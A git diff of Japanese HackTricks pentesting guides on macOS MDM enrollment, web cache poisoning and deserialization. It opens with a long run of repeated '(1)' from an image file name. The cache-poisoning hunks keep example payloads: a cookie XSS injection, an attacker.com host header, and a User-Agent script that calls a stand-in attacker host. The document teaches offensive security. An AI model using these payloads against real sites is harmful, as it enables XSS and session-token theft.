(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) ( +![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) + +### ステップ6: プロファイルのインストール + +- 取得後、**プロファイルはシステムに保存されます** +- このステップは自動的に始まります(**セットアップアシスタント**にいる場合) +- **`CPInstallActivationProfile`**によって駆動されます +- XPC経由でmdmclientによって実装されます +- LaunchDaemon(rootとして)またはLaunchAgent(ユーザーとして)、コンテキストに応じて +- 構成プロファイルにはインストールするための複数のペイロードがあります +- フレームワークはプロファイルをインストールするためのプラグインベースのアーキテクチャを持っています +- 各ペイロードタイプはプラグインに関連付けられています +- XPC(フレームワーク内)または従来のCocoa(ManagedClient.app内)である可能性があります +- 例: +- 証明書ペイロードはCertificateService.xpcを使用します + +通常、MDMベンダーによって提供される**アクティベーションプロファイル**には以下のペイロードが**含まれます**: + +- `com.apple.mdm`: デバイスをMDMに**登録**するため +- `com.apple.security.scep`: デバイスに**クライアント証明書**を安全に提供するため。 +- `com.apple.security.pem`: デバイスのシステムキーチェーンに**信頼されたCA証明書**を**インストール**するため。 +- MDMペイロードのインストールは、文書内の**MDMチェックイン**に相当します +- ペイロードは**主要なプロパティ**を含みます: +- - MDMチェックインURL(**`CheckInURL`**) +- MDMコマンドポーリングURL(**`ServerURL`**) + それをトリガーするAPNsトピック +- MDMペイロードをインストールするために、**`CheckInURL`**にリクエストが送信されます +- **`mdmclient`**で実装されています +- MDMペイロードは他のペイロードに依存することがあります +- 特定の証明書にリクエストをピン留めすることを許可します: +- プロパティ:**`CheckInURLPinningCertificateUUIDs`** +- プロパティ:**`ServerURLPinningCertificateUUIDs`** +- PEMペイロードを介して配信されます +- デバイスにアイデンティティ証明書を付与することを許可します: +- プロパティ:IdentityCertificateUUID +- SCEPペイロードを介して配信されます + +### **ステップ7: MDMコマンドのリスニング** + +- MDMチェックインが完了した後、ベンダーは**APNsを使用してプッシュ通知を発行**できます +- 受信時、**`mdmclient`**によって処理されます +- MDMコマンドをポーリングするために、リクエストがServerURLに送信されます +- 以前にインストールされたMDMペイロードを利用します: +- **`ServerURLPinningCertificateUUIDs`**によるリクエストのピン留め +- **`IdentityCertificateUUID`**によるTLSクライアント証明書 + +## 攻撃 + +### 他の組織へのデバイスの登録 + +前述のように、デバイスを組織に登録しようとするには、**その組織に属するシリアル番号のみが必要**です。デバイスが登録されると、いくつかの組織は新しいデバイスに機密データをインストールします:証明書、アプリケーション、WiFiパスワード、VPN設定など[こちら](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\ +したがって、登録プロセスが適切に保護されていない場合、攻撃者にとって危険な入り口となる可能性があります: + +{{#ref}} +enrolling-devices-in-other-organisations.md +{{#endref}} + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 4bfd2a49d..5859559f5 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -25,7 +25,7 @@ ### 発見:キャッシュエラーコード -レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみると、**ステータスコード400**で応答されるはずです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。 +レスポンスがキャッシュに保存されていると考えている場合、**不正なヘッダーでリクエストを送信**してみることができます。これには**ステータスコード400**で応答されるべきです。その後、リクエストに通常アクセスして、**レスポンスが400ステータスコード**であれば、それが脆弱であることがわかります(さらにはDoS攻撃を実行することも可能です)。 さらにオプションを見つけることができます: @@ -47,16 +47,16 @@ cache-poisoning-to-dos.md ### 応答をキャッシュする -悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**を決定したら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 +悪用できる**ページ**を**特定**し、使用する**パラメータ**/**ヘッダー**と**悪用方法**が決まったら、そのページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試みる必要があるかもしれません。 -応答のヘッダー**`X-Cache`**は非常に便利で、リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持つ可能性があります。\ +応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は**`miss`**の値を持ち、キャッシュされている場合は**`hit`**の値を持ちます。\ ヘッダー**`Cache-Control`**も、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされるのはいつかを知るために興味深いです: `Cache-Control: public, max-age=1800` -もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーがない場合でも、**キャッシュキーの一部**として扱われる**追加のヘッダー**を**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。 +もう一つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーが付けられていない追加のヘッダーを**キャッシュキーの一部**として**示すため**に使用されることがよくあります。したがって、ターゲットとしている被害者の`User-Agent`を知っている場合、特定の`User-Agent`を使用するユーザーのためにキャッシュを汚染することができます。 キャッシュに関連するもう一つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに存在している秒数を定義します。 -リクエストをキャッシュする際は、使用するヘッダーに**注意してください**。なぜなら、いくつかのヘッダーは**予期せず**に**キー付き**として使用される可能性があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 +リクエストをキャッシュする際は、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず**キーとして**使用される可能性**があり、**被害者はその同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイズニングを**テスト**して、機能しているか確認してください。 ## 悪用の例 @@ -80,10 +80,10 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -**[この書き込み](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下の単純なシナリオが説明されています: +**[この解説](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、以下のシンプルなシナリオが説明されています: - CDNは`/share/`以下のすべてをキャッシュします。 -- CDNは`%2F..%2F`をデコードまたは正規化しないため、**キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- CDNは`%2F..%2F`をデコードまたは正規化しないため、**キャッシュされる他の機密情報にアクセスするためのパストラバーサルとして使用できます**。例えば、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のように。 - ウェブサーバーは`%2F..%2F`をデコードおよび正規化し、`/api/auth/session`で応答します。これには**認証トークン**が含まれています。 ### Using web cache poisoning to exploit cookie-handling vulnerabilities @@ -94,7 +94,7 @@ GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -注意:脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストがキャッシュをクリアします。 +注意:脆弱なクッキーがユーザーによって非常に使用されている場合、通常のリクエストがキャッシュをクリアします。 ### デリミタ、正規化、ドットを使用して不一致を生成する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> @@ -104,9 +104,9 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" cache-poisoning-via-url-discrepancies.md {{#endref}} -### パストラバーサルを使用したキャッシュポイズニングによるAPIキーの盗難 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> +### APIキーを盗むためのパストラバーサルによるキャッシュポイズニング <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a> -[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLを使用してOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。 +[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。 これは以下でもより詳しく説明されています: @@ -125,7 +125,7 @@ X-Forwarded-Scheme: http ``` ### 限定された `Vary` ヘッダーを利用した攻撃 -もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。 +もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者のUser-Agentを抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。 ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -134,7 +134,7 @@ X-Host: attacker.com ``` ### Fat Get -URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディからのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように: +URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -201,7 +201,7 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントは無視されます)。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれておらず、ホスト、パス、クエリのみが含まれていました。 +ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました(フラグメントを無視)。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれていませんでした。 ### GitHub CP-DoS @@ -229,7 +229,7 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。 ### 不正なヘッダーフィールド -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーは常にこの標準に従うわけではありません。注目すべき例はAkamaiであり、無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュします。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーはこの標準に常に従うわけではありません。注目すべき例はAkamaiであり、無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュします。不正な文字(例:`\`)を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。 ### 新しいヘッダーの発見 diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 29665a240..73b9c9307 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -8,7 +8,7 @@ **デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。 -デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。** +デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです**。 ## PHP @@ -94,7 +94,7 @@ This is a test<br /> ### PHP Deserial + Autoload Classes -PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます: +PHPのオートロード機能を悪用して、任意のPHPファイルをロードすることができます: {{#ref}} @@ -119,7 +119,7 @@ $ser=serialize($o); ### `allowed_classes`を使用したPHPオブジェクトインジェクションの防止 > [!INFO] -> **PHP 